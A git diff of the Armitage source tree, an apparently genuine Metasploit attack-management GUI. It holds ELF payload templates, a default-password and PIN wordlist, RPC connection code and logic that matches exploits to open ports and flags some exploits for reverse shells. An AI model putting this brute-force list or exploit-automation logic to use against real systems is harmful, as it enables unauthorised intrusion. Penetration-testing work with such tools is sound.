|
||||
dw phdrsize ; e_phentsize
|
||||
dw 1 ; e_phnum
|
||||
dw 0 ; e_shentsize
|
||||
dw 0 ; e_shnum
|
||||
dw 0 ; e_shstrndx
|
||||
|
||||
ehdrsize equ $ - ehdr
|
||||
|
||||
phdr: ; Elf32_Phdr
|
||||
dd 1 ; p_type = PT_LOAD
|
||||
dd 0 ; p_offset
|
||||
dd $$ ; p_vaddr
|
||||
dd $$ ; p_paddr
|
||||
dd 0xDEADBEEF ; p_filesz
|
||||
dd 0xDEADBEEF ; p_memsz
|
||||
dd 7 ; p_flags = rwx
|
||||
dd 0x1000 ; p_align
|
||||
|
||||
phdrsize equ $ - phdr
|
||||
|
||||
global _start
|
||||
|
||||
_start:
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
; build with:
|
||||
; nasm elf_x86_template.s -f bin -o template_x86_linux.bin
|
||||
|
||||
BITS 32
|
||||
|
||||
org 0x08048000
|
||||
|
||||
ehdr: ; Elf32_Ehdr
|
||||
db 0x7F, "ELF", 1, 1, 1, 6 ; e_ident
|
||||
db 1, 0, 0, 0, 0, 0, 0, 0 ;
|
||||
dw 2 ; e_type = ET_EXEC for an executable
|
||||
dw 3 ; e_machine
|
||||
dd 1 ; e_version
|
||||
dd _start ; e_entry
|
||||
dd phdr - $$ ; e_phoff
|
||||
dd 0 ; e_shoff
|
||||
dd 0 ; e_flags
|
||||
dw ehdrsize ; e_ehsize
|
||||
dw phdrsize ; e_phentsize
|
||||
dw 1 ; e_phnum
|
||||
dw 0 ; e_shentsize
|
||||
dw 0 ; e_shnum
|
||||
dw 0 ; e_shstrndx
|
||||
|
||||
ehdrsize equ $ - ehdr
|
||||
|
||||
phdr: ; Elf32_Phdr
|
||||
dd 1 ; p_type = PT_LOAD
|
||||
dd 0 ; p_offset
|
||||
dd $$ ; p_vaddr
|
||||
dd $$ ; p_paddr
|
||||
dd 0xDEADBEEF ; p_filesz
|
||||
dd 0xDEADBEEF ; p_memsz
|
||||
dd 7 ; p_flags = rwx
|
||||
dd 0x1000 ; p_align
|
||||
|
||||
phdrsize equ $ - phdr
|
||||
|
||||
global _start
|
||||
|
||||
_start:
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
1111
|
||||
1234
|
||||
2222
|
||||
3333
|
||||
4444
|
||||
5555
|
||||
6666
|
||||
7777
|
||||
8888
|
||||
9999
|
||||
0000
|
||||
4321
|
||||
3477
|
||||
5897
|
||||
12345
|
||||
12341
|
||||
123456
|
||||
1234567
|
||||
12345678
|
||||
12341234
|
||||
44444
|
||||
11111
|
||||
111111
|
||||
1111111
|
||||
11111111
|
||||
22222222
|
||||
33333333
|
||||
44444444
|
||||
55555555
|
||||
66666666
|
||||
77777777
|
||||
88888888
|
||||
99999999
|
||||
00000000
|
||||
0000000
|
||||
000000
|
||||
00000
|
||||
000
|
||||
00
|
||||
0
|
||||
09090
|
||||
7772000
|
||||
666666
|
||||
24343
|
||||
111
|
||||
123
|
||||
12
|
||||
11
|
||||
1
|
||||
2
|
||||
3
|
||||
4
|
||||
5
|
||||
6
|
||||
7
|
||||
8
|
||||
9
|
||||
0
|
||||
aa
|
||||
dvr2580222
|
||||
abc123
|
||||
pass
|
||||
password
|
||||
admin
|
||||
administrator
|
||||
root
|
||||
@@ -0,0 +1,2 @@
|
||||
admin
|
||||
user
|
||||
@@ -0,0 +1,12 @@
|
||||
source 'http://rubygems.org'
|
||||
gem 'rails', '3.2.2'
|
||||
gem 'authlogic'
|
||||
gem 'prototype_legacy_helper', '0.0.0', :git => 'git://github.com/jvennix-r7/prototype_legacy_helper.git'
|
||||
gem 'state_machine', '1.1.2'
|
||||
gem 'liquid', '2.3.0'
|
||||
gem 'ice_cube'
|
||||
gem 'acts_as_list'
|
||||
gem 'mime-types', '1.18', :git => "git://github.com/rapid7/mime-types.git"
|
||||
gem 'metasploit_data_models', '0.0.2', :git => "git://github.com/rapid7/metasploit_data_models.git"
|
||||
gem 'robots', '0.10.1'
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
<project name="armitage" default="all" basedir=".">
|
||||
<property name="project.src" location="src/" />
|
||||
<property name="project.build" location="bin/" />
|
||||
|
||||
<target name="all" depends="init, compile, jar" />
|
||||
|
||||
<target name="init">
|
||||
<tstamp />
|
||||
<mkdir dir="${project.build}" />
|
||||
</target>
|
||||
|
||||
<target name="compile" depends="init" description="compile the source " >
|
||||
<javac srcdir="${project.src}/"
|
||||
destdir="${project.build}"
|
||||
nowarn="yes"
|
||||
depend="yes"
|
||||
debug="true"
|
||||
optimize="yes"
|
||||
includeantruntime="fuckno"
|
||||
>
|
||||
<classpath path="./lib/jgraphx.jar;./lib/sleep.jar;./lib/msgpack-0.5.1-devel.jar;./lib/postgresql-9.1-901.jdbc4.jar" />
|
||||
</javac>
|
||||
</target>
|
||||
|
||||
<target name="jar" depends="compile">
|
||||
<unzip src="lib/sleep.jar" dest="bin" />
|
||||
<unzip src="lib/jgraphx.jar" dest="bin" />
|
||||
<unzip src="lib/msgpack-0.5.1-devel.jar" dest="bin" />
|
||||
<unzip src="lib/postgresql-9.1-901.jdbc4.jar" dest="bin" />
|
||||
|
||||
<jar destfile="armitage.jar" basedir="bin" includes="**/*">
|
||||
<manifest>
|
||||
<attribute name="Main-Class" value="armitage.ArmitageMain" />
|
||||
</manifest>
|
||||
</jar>
|
||||
</target>
|
||||
|
||||
<target name="clean" description="clean up" >
|
||||
<delete dir="${project.build}"/>
|
||||
</target>
|
||||
</project>
|
||||
|
||||
@@ -0,0 +1,90 @@
|
||||
=============================================================================
|
||||
Armitage - Cyber Attack Management for Metasploit
|
||||
=============================================================================
|
||||
|
||||
*** http://www.fastandeasyhacking.com ***
|
||||
|
||||
1. What is Armitage?
|
||||
-----------------
|
||||
|
||||
Armitage is a graphical cyber attack management tool for Metasploit that
|
||||
visualizes your targets, recommends exploits, and exposes the advanced
|
||||
capabilities of the framework.
|
||||
|
||||
Advanced users will find Armitage valuable for managing remote Metasploit
|
||||
instances and collaboration. Armitage's red team collaboration features allow
|
||||
your team to use the same sessions, share data, and communicate through one
|
||||
Metasploit instance.
|
||||
|
||||
Armitage aims to make Metasploit usable for security practitioners who
|
||||
understand hacking but don't use Metasploit every day. If you want to learn
|
||||
Metasploit and grow into the advanced features, Armitage can help you.
|
||||
|
||||
2. Documentation
|
||||
-------------
|
||||
|
||||
The documentation for Armitage is located on the Armitage website at:
|
||||
http://www.fastandeasyhacking.com. Read the FAQ and the Manual for
|
||||
information on connecting Armitage to Metasploit and using it.
|
||||
|
||||
3. Install and Update
|
||||
----------
|
||||
|
||||
To get started, see the manual at http://www.fastandeasyhacking.com
|
||||
|
||||
4. Source Code
|
||||
-----------
|
||||
|
||||
This projected is hosted on Google Code at:
|
||||
http://code.google.com/p/armitage/
|
||||
|
||||
5. Disclaimer
|
||||
----------
|
||||
|
||||
Use this code for your development and don't hack systems that you don't
|
||||
have permission to hack. The existence of this software does not reflect the
|
||||
opinions or beliefs of my current employers, past employers, future
|
||||
employers, or any small animals I come into contact with. Enjoy this
|
||||
software with my blessing. I hope it helps you learn and become a better
|
||||
security professional.
|
||||
|
||||
6. Contact
|
||||
-------
|
||||
|
||||
Report bugs in the issue tracker at:
|
||||
http://code.google.com/p/armitage/issues/list
|
||||
|
||||
E-mail contact@fastandeasyhacking.com with other questions/concerns. Make
|
||||
sure you peruse the FAQ and Manual first.
|
||||
|
||||
7. License
|
||||
-------
|
||||
|
||||
(c) 2010-2012 Raphael Mudge. This project is licensed under the BSD license.
|
||||
See section 8 for more information.
|
||||
|
||||
lib/jgraphx.jar is used here within the terms of the BSD license offered by
|
||||
JGraphX Ltd. http://www.jgraphx.com/
|
||||
-
|
||||
lib/msgpack-0.5.1-devel.jar and lib/postgresql-9.1-901.jdbc4.jar are both
|
||||
BSD licensed libraries.
|
||||
-
|
||||
Some code in src/msf/* comes from msfgui by scriptjunkie.
|
||||
-
|
||||
This project uses the LGPL Sleep scripting language with no modifications.
|
||||
Sleep's source is available at: http://sleep.dashnine.org/
|
||||
|
||||
8. The BSD License
|
||||
---------------
|
||||
|
||||
Redistribution and use in source and binary forms are permitted provided
|
||||
that the above copyright notice and this paragraph are duplicated in all
|
||||
such forms and that any documentation, advertising materials, and other
|
||||
materials related to such distribution and use acknowledge that the
|
||||
software was developed by the copyright holders. The name of the copyright
|
||||
holders may not be used to endorse or promote products derived from this
|
||||
software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED ''AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
|
||||
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
|
||||
@@ -0,0 +1,23 @@
|
||||
<html>
|
||||
<body>
|
||||
<center><h1>Armitage 1.44-dev</h1></center>
|
||||
|
||||
<p>An attack management tool for Metasploit®
|
||||
<br />Release: 17 May 12</p>
|
||||
<br />
|
||||
<p>Developed by:</p>
|
||||
|
||||
<ul>
|
||||
<li>Raphael Mudge (raffi)</li>
|
||||
</ul>
|
||||
|
||||
<p>External code:</p>
|
||||
|
||||
<ul>
|
||||
<li>MSF RPC code by scriptjunkie (BSD license)</li>
|
||||
<li>JGraph by JGraph Ltd. (BSD license)</li>
|
||||
</ul>
|
||||
|
||||
<p><small>Metasploit® is a registered trademark of Rapid7</small></p>
|
||||
</body>
|
||||
</html>
|
||||
|
After Width: | Height: | Size: 1.9 KiB |
|
After Width: | Height: | Size: 28 KiB |
@@ -0,0 +1,58 @@
|
||||
#Armitage Configuration
|
||||
#Fri Oct 15 18:08:08 EDT 2010
|
||||
graph.font.font=Monospaced-BOLD-14
|
||||
console.clear_screen.shortcut=ctrl pressed K
|
||||
graph.zoom_out.shortcut=ctrl pressed MINUS
|
||||
graph.save_screenshot.shortcut=ctrl pressed P
|
||||
console.font_size_reset.shortcut=ctrl pressed 0
|
||||
console.page_down.shortcut=pressed PAGE_DOWN
|
||||
graph.arrange_icons_circle.shortcut=ctrl pressed C
|
||||
graph.selection.color=\#00ff00
|
||||
graph.zoom_in.shortcut=ctrl pressed EQUALS
|
||||
console.find.shortcut=ctrl pressed F
|
||||
console.history_previous.shortcut=pressed UP
|
||||
console.history_next.shortcut=pressed DOWN
|
||||
console.page_up.shortcut=pressed PAGE_UP
|
||||
console.highlight.color=\#0000cc
|
||||
console.font_size_plus.shortcut=ctrl pressed EQUALS
|
||||
console.font_size_minus.shortcut=ctrl pressed MINUS
|
||||
console.foreground.color=\#cccccc
|
||||
console.background.color=\#000000
|
||||
console.font.font=Monospaced-BOLD-14
|
||||
graph.arrange_icons_hierarchical.shortcut=ctrl pressed H
|
||||
graph.foreground.color=\#cccccc
|
||||
graph.background.color=\#111111
|
||||
graph.zoom_reset.shortcut=ctrl pressed 0
|
||||
console.clear_buffer.shortcut=pressed ESCAPE
|
||||
graph.edge.color=\#3c6318
|
||||
graph.arrange_icons_stack.shortcut=ctrl pressed S
|
||||
graph.edge_highlight.color=\#00ff00
|
||||
graph.default_layout.layout=stack
|
||||
application.skin.skin=Nimbus
|
||||
graph.clear_selection.shortcut=pressed ESCAPE
|
||||
graph.select_all.shortcut=ctrl pressed A
|
||||
armitage.required_exploit_rank.string=great
|
||||
armitage.string.target_view=graph
|
||||
console.select_all.shortcut=ctrl pressed A
|
||||
armitage.log_everything.boolean=true
|
||||
armitage.no_msf_banner.boolean=false
|
||||
tab.highlight.color=#0000ff
|
||||
armitage.show_all_commands.boolean=true
|
||||
armitage.application_title.string=Armitage
|
||||
console.color_0.color=\#ffffff
|
||||
console.color_1.color=\#000000
|
||||
console.color_2.color=\#000080
|
||||
console.color_3.color=\#009000
|
||||
console.color_4.color=\#ff0000
|
||||
console.color_5.color=\#800000
|
||||
console.color_6.color=\#a000a0
|
||||
console.color_7.color=\#ff8000
|
||||
console.color_8.color=\#ffff00
|
||||
console.color_9.color=\#00ff00
|
||||
console.color_10.color=\#009090
|
||||
console.color_11.color=\#00ffff
|
||||
console.color_12.color=\#0000ff
|
||||
console.color_13.color=\#ff00ff
|
||||
console.color_14.color=\#808080
|
||||
console.color_15.color=\#c0c0c0
|
||||
console.show_colors.boolean=true
|
||||
|
After Width: | Height: | Size: 72 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 27 KiB |
@@ -0,0 +1,12 @@
|
||||
Metasploit's RPC daemon shut down. This is the
|
||||
service Armitage uses to talk to Metasploit.
|
||||
|
||||
When this happens, it means something is wrong.
|
||||
The developer of Armitage feels your pain from
|
||||
afar. Would you like help troubleshooting this?
|
||||
|
||||
P.S. yes you would--the answer is known and it's
|
||||
easy to deal with. Click Yes to visit the
|
||||
troubleshooting guide at:
|
||||
|
||||
http://www.fastandeasyhacking.com/nomsfrpcd
|
||||
@@ -0,0 +1,4 @@
|
||||
^(..:..:..) \[\*\] (.*) $1 \cA[*]\o $2
|
||||
^\[\*\] (.*) \cA[*]\o $1
|
||||
^(..:..:..) \* (.*) $1 \c7*\o $2
|
||||
^(\w+)> \u$1\o>
|
||||
|
After Width: | Height: | Size: 398 KiB |
|
After Width: | Height: | Size: 143 KiB |
|
After Width: | Height: | Size: 46 KiB |
|
After Width: | Height: | Size: 47 KiB |
@@ -0,0 +1,11 @@
|
||||
^msf> \umsf\u>
|
||||
^meterpreter > \umeterpreter\u >
|
||||
^msf > \umsf\u >
|
||||
^msf (.*?)\((.*?)\) > \umsf\u $1(\c4$2\o) >
|
||||
^\[\*\] (.*) \cA[*]\o $1
|
||||
^\[\+\] (.*) \c9[+]\o $1
|
||||
^\[\-\] (.*) \c4[-]\o $1
|
||||
^ =\[ (.*) =[\c7 $1
|
||||
^(=[=\s]+) \cE$1
|
||||
^(\s*-[-\s]+) \cE$1
|
||||
^(.*?): (.*) $1\cE:\o $2
|
||||
@@ -0,0 +1,10 @@
|
||||
@echo off
|
||||
set BASE=$$BASE$$
|
||||
cd "%BASE%"
|
||||
set PATH=%BASE%ruby\bin;%BASE%java\bin;%BASE%tools;%BASE%svn\bin;%BASE%nmap;%BASE%postgresql\bin;%PATH%
|
||||
IF NOT EXIST "%BASE%java" GOTO NO_JAVA
|
||||
set JAVA_HOME="%BASE%java"
|
||||
:NO_JAVA
|
||||
set MSF_DATABASE_CONFIG="%BASE%\config\database.yml"
|
||||
cd "%BASE%msf3"
|
||||
rubyw msfrpcd -a 127.0.0.1 -U $$USER$$ -P $$PASS$$ -S -f -p $$PORT$$
|
||||
|
After Width: | Height: | Size: 70 KiB |
|
After Width: | Height: | Size: 60 KiB |
|
After Width: | Height: | Size: 6.4 KiB |
|
After Width: | Height: | Size: 67 KiB |
|
After Width: | Height: | Size: 53 KiB |
|
After Width: | Height: | Size: 109 KiB |
|
After Width: | Height: | Size: 60 KiB |
@@ -0,0 +1 @@
|
||||
java -classpath bin:lib/\*:. armitage.ArmitageMain $*
|
||||
@@ -0,0 +1,319 @@
|
||||
debug(7 | 34);
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.swing.border.*;
|
||||
import javax.imageio.*;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import msf.*;
|
||||
import console.*;
|
||||
import armitage.*;
|
||||
import graph.*;
|
||||
|
||||
import java.awt.image.*;
|
||||
|
||||
global('$frame $tabs $menubar $msfrpc_handle $REMOTE');
|
||||
|
||||
sub describeHost {
|
||||
local('$sessions $os @overlay $ver $info');
|
||||
($sessions, $os, $ver) = values($1, @('sessions', 'os_name', 'os_flavor'));
|
||||
|
||||
if (size($sessions) == 0) {
|
||||
return $1['address'];
|
||||
}
|
||||
|
||||
$info = values($sessions)[0]["info"];
|
||||
if ("Microsoft Corp." isin $info) {
|
||||
return $1['address'] . "\nshell session";
|
||||
}
|
||||
else {
|
||||
return $1['address'] . "\n $+ $info";
|
||||
}
|
||||
}
|
||||
|
||||
sub showHost {
|
||||
local('$sessions $os @overlay $match $purpose');
|
||||
($sessions, $os, $match, $purpose) = values($1, @('sessions', 'os_name', 'os_flavor', 'purpose'));
|
||||
$os = normalize($os);
|
||||
|
||||
if ($match eq "") {
|
||||
$match = $1['os_match'];
|
||||
}
|
||||
|
||||
if ($os eq "Printer" || "*Printer*" iswm $match || "*embedded*" iswm lc($os)) {
|
||||
return overlay_images(@('resources/printer.png'));
|
||||
}
|
||||
else if ($os eq "Windows") {
|
||||
if ("*2000*" iswm $match || "*95*" iswm $match || "*98*" iswm $match || "*ME*" iswm $match || "*Me*" iswm $match) {
|
||||
push(@overlay, 'resources/windows2000.png');
|
||||
}
|
||||
else if ("*XP*" iswm $match || "*2003*" iswm $match || "*.NET*" iswm $match) {
|
||||
push(@overlay, 'resources/windowsxp.png');
|
||||
}
|
||||
else {
|
||||
push(@overlay, 'resources/windows7.png');
|
||||
}
|
||||
}
|
||||
else if ($os eq "Mac OS X" || "*apple*" iswm lc($os) || "*mac*os*x*" iswm lc($os)) {
|
||||
push(@overlay, 'resources/macosx.png');
|
||||
}
|
||||
else if ("*linux*" iswm lc($os)) {
|
||||
push(@overlay, 'resources/linux.png');
|
||||
}
|
||||
else if ($os eq "IOS" || "*cisco*" iswm lc($os)) {
|
||||
push(@overlay, 'resources/cisco.png');
|
||||
}
|
||||
else if ("*BSD*" iswm $os) {
|
||||
push(@overlay, 'resources/bsd.png');
|
||||
}
|
||||
else if ($os eq "Solaris") {
|
||||
push(@overlay, 'resources/solaris.png');
|
||||
}
|
||||
else if ("*VMware*" iswm $os) {
|
||||
push(@overlay, 'resources/vmware.png');
|
||||
}
|
||||
else if ($purpose eq "firewall") {
|
||||
return overlay_images(@('resources/firewall.png'));
|
||||
}
|
||||
else {
|
||||
push(@overlay, 'resources/unknown.png');
|
||||
}
|
||||
|
||||
if (size($sessions) > 0) {
|
||||
push(@overlay, 'resources/hacked.png');
|
||||
}
|
||||
else {
|
||||
push(@overlay, 'resources/computer.png');
|
||||
}
|
||||
|
||||
return overlay_images(@overlay);
|
||||
}
|
||||
|
||||
sub connectToMetasploit {
|
||||
local('$thread $5');
|
||||
$thread = [new Thread: lambda(&_connectToMetasploit, \$1, \$2, \$3, \$4, \$5)];
|
||||
[$thread start];
|
||||
}
|
||||
|
||||
sub _connectToMetasploit {
|
||||
global('$database $client $mclient $console @exploits @auxiliary @payloads @post');
|
||||
|
||||
# reset rejected fingerprints
|
||||
let(&verify_server, %rejected => %());
|
||||
|
||||
# update preferences
|
||||
|
||||
local('%props $property $value $flag $exception');
|
||||
%props['connect.host.string'] = $1;
|
||||
%props['connect.port.string'] = $2;
|
||||
%props['connect.user.string'] = $3;
|
||||
%props['connect.pass.string'] = $4;
|
||||
|
||||
if ($5 is $null) {
|
||||
foreach $property => $value (%props) {
|
||||
[$preferences setProperty: $property, $value];
|
||||
}
|
||||
}
|
||||
savePreferences();
|
||||
|
||||
# setup progress monitor
|
||||
local('$progress');
|
||||
$progress = [new ProgressMonitor: $null, "Connecting to $1 $+ : $+ $2", "first try... wish me luck.", 0, 100];
|
||||
|
||||
# keep track of whether we're connected to a local or remote Metasploit instance. This will affect what we expose.
|
||||
$REMOTE = iff($1 eq "127.0.0.1", $null, 1);
|
||||
|
||||
$flag = 10;
|
||||
while ($flag) {
|
||||
try {
|
||||
if ([$progress isCanceled]) {
|
||||
if ($msfrpc_handle !is $null) {
|
||||
try {
|
||||
wait(fork({ closef($msfrpc_handle); }, \$msfrpc_handle), 5 * 1024);
|
||||
$msfrpc_handle = $null;
|
||||
}
|
||||
catch $exception {
|
||||
[JOptionPane showMessageDialog: $null, "Unable to shutdown MSFRPC programatically\nRestart Armitage and try again"];
|
||||
[System exit: 0];
|
||||
}
|
||||
}
|
||||
connectDialog();
|
||||
return;
|
||||
}
|
||||
|
||||
# connecting locally? go to Metasploit directly...
|
||||
if ($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost") {
|
||||
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
|
||||
$mclient = $client;
|
||||
initConsolePool();
|
||||
initReporting();
|
||||
}
|
||||
# we have a team server... connect and authenticate to it.
|
||||
else {
|
||||
$client = c_client($1, $2);
|
||||
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
|
||||
$mclient = setup_collaboration($3, $4, $1, $2);
|
||||
}
|
||||
$flag = $null;
|
||||
}
|
||||
catch $exception {
|
||||
[$progress setNote: [$exception getMessage]];
|
||||
[$progress setProgress: $flag];
|
||||
$flag++;
|
||||
sleep(2500);
|
||||
}
|
||||
}
|
||||
|
||||
let(&postSetup, \$progress);
|
||||
|
||||
[$progress setNote: "Connected: Getting base directory"];
|
||||
[$progress setProgress: 30];
|
||||
|
||||
setupBaseDirectory();
|
||||
|
||||
if (!$REMOTE) {
|
||||
[$progress setNote: "Connected: Connecting to database"];
|
||||
[$progress setProgress: 40];
|
||||
|
||||
try {
|
||||
# create a console to force the database to initialize
|
||||
local('$c');
|
||||
$c = createConsole($client);
|
||||
call_async($client, "console.destroy", $c);
|
||||
|
||||
# connect to the database plz...
|
||||
$database = connectToDatabase();
|
||||
[$client setDatabase: $database];
|
||||
|
||||
# setup our reporting stuff (has to happen *after* base directory)
|
||||
initReporting();
|
||||
}
|
||||
catch $exception {
|
||||
[JOptionPane showMessageDialog: $null, "Could not connect to database.\nClick Help button for troubleshooting help.\n\n" . [$exception getMessage]];
|
||||
if ($msfrpc_handle) { closef($msfrpc_handle); }
|
||||
[System exit: 0];
|
||||
}
|
||||
}
|
||||
|
||||
[$progress setNote: "Connected: Getting local address"];
|
||||
[$progress setProgress: 50];
|
||||
|
||||
cmd_safe("setg", lambda({
|
||||
# store the current global vars to save several other calls later
|
||||
global('%MSF_GLOBAL');
|
||||
local('$value');
|
||||
|
||||
foreach $value (parseTextTable($3, @("Name", "Value"))) {
|
||||
%MSF_GLOBAL[$value['Name']] = $value['Value'];
|
||||
}
|
||||
|
||||
# ok, now let's continue on with what we're doing...
|
||||
getBindAddress();
|
||||
[$progress setNote: "Connected: ..."];
|
||||
[$progress setProgress: 60];
|
||||
|
||||
if (!$REMOTE && %MSF_GLOBAL['ARMITAGE_TEAM'] eq '1') {
|
||||
showErrorAndQuit("Do not connect to 127.0.0.1 when\nrunning a team server.");
|
||||
}
|
||||
|
||||
dispatchEvent(&postSetup);
|
||||
}, \$progress));
|
||||
}
|
||||
|
||||
sub postSetup {
|
||||
thread(lambda({
|
||||
[$progress setNote: "Connected: Fetching exploits"];
|
||||
[$progress setProgress: 70];
|
||||
|
||||
@exploits = sorta(call($mclient, "module.exploits")["modules"]);
|
||||
|
||||
[$progress setNote: "Connected: Fetching auxiliary modules"];
|
||||
[$progress setProgress: 80];
|
||||
|
||||
@auxiliary = sorta(call($mclient, "module.auxiliary")["modules"]);
|
||||
|
||||
[$progress setNote: "Connected: Fetching payloads"];
|
||||
[$progress setProgress: 90];
|
||||
|
||||
@payloads = sorta(call($mclient, "module.payloads")["modules"]);
|
||||
|
||||
[$progress setNote: "Connected: Fetching post modules"];
|
||||
[$progress setProgress: 100];
|
||||
|
||||
@post = sorta(call($mclient, "module.post")["modules"]);
|
||||
|
||||
[$progress close];
|
||||
main();
|
||||
createDashboard();
|
||||
}, \$progress));
|
||||
}
|
||||
|
||||
sub main {
|
||||
local('$console $panel $dir');
|
||||
|
||||
$frame = [new ArmitageApplication];
|
||||
[$frame setTitle: $TITLE];
|
||||
[$frame setSize: 800, 600];
|
||||
|
||||
init_menus($frame);
|
||||
initLogSystem();
|
||||
|
||||
[$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
|
||||
[$frame show];
|
||||
[$frame setExtendedState: [JFrame MAXIMIZED_BOTH]];
|
||||
|
||||
# this window listener is dead-lock waiting to happen. That's why we're adding it in a
|
||||
# separate thread (Sleep threads don't share data/locks).
|
||||
fork({
|
||||
[$frame addWindowListener: {
|
||||
if ($0 eq "windowClosing" && $msfrpc_handle !is $null) {
|
||||
closef($msfrpc_handle);
|
||||
}
|
||||
}];
|
||||
}, \$msfrpc_handle, \$frame);
|
||||
|
||||
dispatchEvent({
|
||||
if ($client !is $mclient) {
|
||||
createEventLogTab();
|
||||
}
|
||||
else {
|
||||
createConsoleTab();
|
||||
}
|
||||
});
|
||||
|
||||
if (-exists "command.txt") {
|
||||
deleteFile("command.txt");
|
||||
}
|
||||
}
|
||||
|
||||
sub checkDir {
|
||||
# set the directory where everything exciting and fun will happen.
|
||||
if (cwd() eq "/Applications" || !-canwrite cwd() || isWindows()) {
|
||||
local('$dir');
|
||||
$dir = getFileProper(systemProperties()["user.home"], "armitage-tmp");
|
||||
if (!-exists $dir) {
|
||||
mkdir($dir);
|
||||
}
|
||||
chdir($dir);
|
||||
warn("Saving files to $dir");
|
||||
}
|
||||
}
|
||||
|
||||
setLookAndFeel();
|
||||
checkDir();
|
||||
|
||||
if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) {
|
||||
local('$config');
|
||||
$config = [new Properties];
|
||||
[$config load: [new java.io.FileInputStream: $CLIENT_CONFIG]];
|
||||
connectToMetasploit([$config getProperty: "host", "127.0.0.1"],
|
||||
[$config getProperty: "port", "55553"],
|
||||
[$config getProperty: "user", "msf"],
|
||||
[$config getProperty: "pass", "test"], 1);
|
||||
}
|
||||
else {
|
||||
connectDialog();
|
||||
}
|
||||
@@ -0,0 +1,652 @@
|
||||
#
|
||||
# Code to create the various attack menus based on db_autopwn
|
||||
#
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.swing.table.*;
|
||||
|
||||
import msf.*;
|
||||
import table.*;
|
||||
|
||||
import ui.*;
|
||||
|
||||
global('%results @always_reverse %exploits %results2');
|
||||
%results = ohash();
|
||||
%results2 = ohash();
|
||||
setMissPolicy(%results, { return @(); });
|
||||
setMissPolicy(%results2, { return @(); });
|
||||
|
||||
# %exploits is populated in menus.sl when the client-side attacks menu is constructed
|
||||
|
||||
# a list of exploits that should always use a reverse shell... this list needs to grow.
|
||||
@always_reverse = @("multi/samba/usermap_script", "unix/misc/distcc_exec", "windows/http/xampp_webdav_upload_php");
|
||||
|
||||
#
|
||||
# generate menus for a given OS
|
||||
#
|
||||
sub exploit_menus {
|
||||
local('%toplevel @allowed $ex $os $port $exploit');
|
||||
%toplevel = ohash();
|
||||
@allowed = getOS($1);
|
||||
|
||||
foreach $ex ($2) {
|
||||
($os, $port, $exploit) = split('/', $ex);
|
||||
if ($os in @allowed) {
|
||||
if ($port !in %toplevel) {
|
||||
%toplevel[$port] = %();
|
||||
}
|
||||
%toplevel[$port][$exploit] = $ex;
|
||||
}
|
||||
}
|
||||
|
||||
local('%r $menu $exploits $name $exploit');
|
||||
|
||||
%r = ohash();
|
||||
putAll(%r, sorta(keys(%toplevel)), { return 1; });
|
||||
foreach $menu => $exploits (%r) {
|
||||
$exploits = ohash();
|
||||
foreach $name (sorta(keys(%toplevel[$menu]))) {
|
||||
$exploits[$name] = %toplevel[$menu][$name];
|
||||
}
|
||||
}
|
||||
|
||||
return %r;
|
||||
}
|
||||
|
||||
sub targetsCombobox {
|
||||
local('$key $value @targets $combobox');
|
||||
foreach $key => $value ($1["targets"]) {
|
||||
if (strlen($value) > 53) {
|
||||
push(@targets, "$key => " . substr($value, 0, 50) . "...");
|
||||
}
|
||||
else {
|
||||
push(@targets, "$key => $value");
|
||||
}
|
||||
}
|
||||
|
||||
$combobox = [new JComboBox: sort({
|
||||
local('$a $b');
|
||||
$a = int(split(' \=\> ', $1)[0]);
|
||||
$b = int(split(' \=\> ', $2)[0]);
|
||||
return $a <=> $b;
|
||||
}, @targets)];
|
||||
|
||||
return $combobox;
|
||||
}
|
||||
|
||||
sub getOS {
|
||||
local('@allowed $os');
|
||||
$os = normalize($1);
|
||||
|
||||
if ($os eq "Windows") { @allowed = @("windows", "multi"); }
|
||||
else if ($os eq "Solaris") { @allowed = @("solaris", "multi", "unix"); }
|
||||
else if ($os eq "Linux") { @allowed = @("linux", "multi", "unix"); }
|
||||
else if ($os eq "Mac OS X") { @allowed = @("osx", "multi", "unix"); }
|
||||
else if ($os eq "FreeBSD") { @allowed = @("freebsd", "multi", "unix"); }
|
||||
else { @allowed = @("multi", "unix"); }
|
||||
return @allowed;
|
||||
}
|
||||
|
||||
# findAttacks("p", "good|great|excellent", &callback) - port analysis
|
||||
# findAttacks("x", "good|great|excellent", &callback) - vulnerability analysis
|
||||
sub resolveAttacks {
|
||||
thread(lambda(&_resolveAttacks, $args => @_));
|
||||
}
|
||||
|
||||
sub _resolveAttacks {
|
||||
# force a service data refresh before hail mary or find attacks.
|
||||
_refreshServices(call($mclient, "db.services"));
|
||||
|
||||
%results = ohash();
|
||||
%results2 = ohash();
|
||||
setMissPolicy(%results, { return @(); });
|
||||
setMissPolicy(%results2, { return @(); });
|
||||
|
||||
local('%r $r $p $module $s');
|
||||
%r = ohash();
|
||||
setMissPolicy(%r, { return @(); });
|
||||
|
||||
#
|
||||
# find all exploits and their associated ports
|
||||
#
|
||||
|
||||
$s = rankScore($args[1]);
|
||||
foreach $module (@exploits) {
|
||||
if (%exploits[$module]["rankScore"] >= $s) {
|
||||
$r = call($client, "module.options", "exploit", $module);
|
||||
yield 2;
|
||||
if ("RPORT" in $r && "default" in $r["RPORT"]) {
|
||||
$p = $r["RPORT"]["default"];
|
||||
push(%r[$p], $module);
|
||||
|
||||
if ($p eq "445") {
|
||||
push(%r["139"], $module);
|
||||
}
|
||||
else if ($p eq "139") {
|
||||
push(%r["139"], $module);
|
||||
}
|
||||
else if ($p eq "80") {
|
||||
push(%r["443"], $module);
|
||||
}
|
||||
